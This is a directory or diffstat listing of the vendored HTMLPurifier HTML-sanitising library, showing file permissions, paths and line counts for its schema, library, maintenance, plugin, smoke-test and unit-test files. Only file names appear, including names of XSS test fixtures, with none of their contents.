-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt8
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt8
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt24
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt8
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt15
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt25
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt7
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt17
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt17
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt15
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt19
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt83
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt17
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt30
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt22
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini3
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php170
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Context.php95
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Definition.php55
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache.php129
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.php112
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php78
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php85
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in82
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Null.php76
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer.php285
-rwxr-xr-xvendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README3
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php106
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php73
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php142
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php216
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php611
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php48
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup/entities.ser1
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityParser.php153
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorCollector.php244
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorStruct.php74
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Exception.php12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter.php56
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php338
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php65
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php286
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php493
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php284
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php44
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php31
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php55
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php190
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php40
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php51
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php49
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php186
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php51
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php26
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php25
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php20
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php62
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php42
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php40
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php36
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php40
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php62
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php40
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.php73
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.php33
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.php75
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Target.php28
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.php24
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Text.php87
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.php230
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.php33
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php34
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Strict.php43
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php26
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php179
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php20
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModuleManager.php459
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/IDAccumulator.php57
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector.php281
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.php356
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.php40
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/Linkify.php59
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.php71
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.php101
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php84
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/SafeObject.php121
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language.php204
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.php9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-test.php11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.php12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en.php55
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/LanguageFactory.php209
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Length.php160
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer.php357
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php280
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DirectLex.php539
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php4788
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php49
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Comment.php36
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php59
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php54
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php111
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php218
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php44
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js5
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php447
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php324
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php122
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php42
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php56
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php26
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Composite.php30
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Core.php17
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.php181
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.php600
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.php207
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php45
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php47
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php136
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php37
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Font.php114
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php44
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php100
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php38
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php15
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php24
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Tag.php68
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php53
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php118
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php314
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php112
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php74
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternal.php54
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php25
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php22
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php46
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php158
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php115
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php68
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php71
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php102
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php127
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php44
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php58
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php36
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php18
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/mailto.php40
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php35
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php32
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php81
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php307
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php198
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php130
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php38
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Zipper.php157
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/.htaccess1
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/PH5P.php3889
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/add-vimline.php131
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/common.php25
-rwxr-xr-xvendor/ezyang/htmlpurifier/maintenance/compile-doxygen.sh11
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/config-scanner.php155
-rwxr-xr-xvendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php42
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/flush.php30
-rwxr-xr-xvendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php75
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/generate-includes.php192
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/generate-ph5p-patch.php22
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php45
-rwxr-xr-xvendor/ezyang/htmlpurifier/maintenance/generate-standalone.php159
-rwxr-xr-xvendor/ezyang/htmlpurifier/maintenance/merge-library.php11
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/old-extract-schema.php71
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php32
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php32
-rwxr-xr-xvendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh5
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php37
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/rename-config.php84
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/update-config.php34
-rw-r--r--vendor/ezyang/htmlpurifier/maintenance/update-freshmeat.php161
-rw-r--r--vendor/ezyang/htmlpurifier/phpdoc.ini102
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/modx.txt112
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/.gitignore2
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/Changelog27
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL84
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/README45
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php57
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php316
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/info.txt18
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php30
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/migrate.bbcode.php31
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/settings.php64
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php95
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs-form.php22
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php79
-rw-r--r--vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php29
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/all.php44
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/attrTransform.php72
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/attrTransform.xml192
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/basic.php73
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/basic/allElements.css50
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html82
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css73
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html127
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php14
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/common.php39
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/configForm.php77
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/dataScheme.php37
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/extractStyleBlocks.php73
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/img.pngbin0 -> 2138 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/innerHTML.html33
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/innerHTML.js51
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php72
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/printDefinition.php119
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Allowed.txt6
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Deprecated.txt7
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.txt3
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.bool.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.float.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.hash.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt7
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt3
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini3
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php57
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/xssAttacks.php100
-rw-r--r--vendor/ezyang/htmlpurifier/smoketests/xssAttacks.xml1307
-rw-r--r--vendor/ezyang/htmlpurifier/tests/CliTestCase.php88
-rw-r--r--vendor/ezyang/htmlpurifier/tests/Debugger.php164
-rw-r--r--vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php40
-rw-r--r--vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php49
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php134
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php28
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php68
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php23
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php21
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php41
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php82
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php29
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php53
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php34
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php56
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php49
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php35
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php29
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php51
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php24
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php27
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php29
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php170
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php41
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php24
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php53
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php22
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php31
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php110
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php33
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php21
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php29
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php36
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php47
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php62
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php85
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php37
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php17
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php14
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php32
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php61
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php25
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php43
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php161
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php29
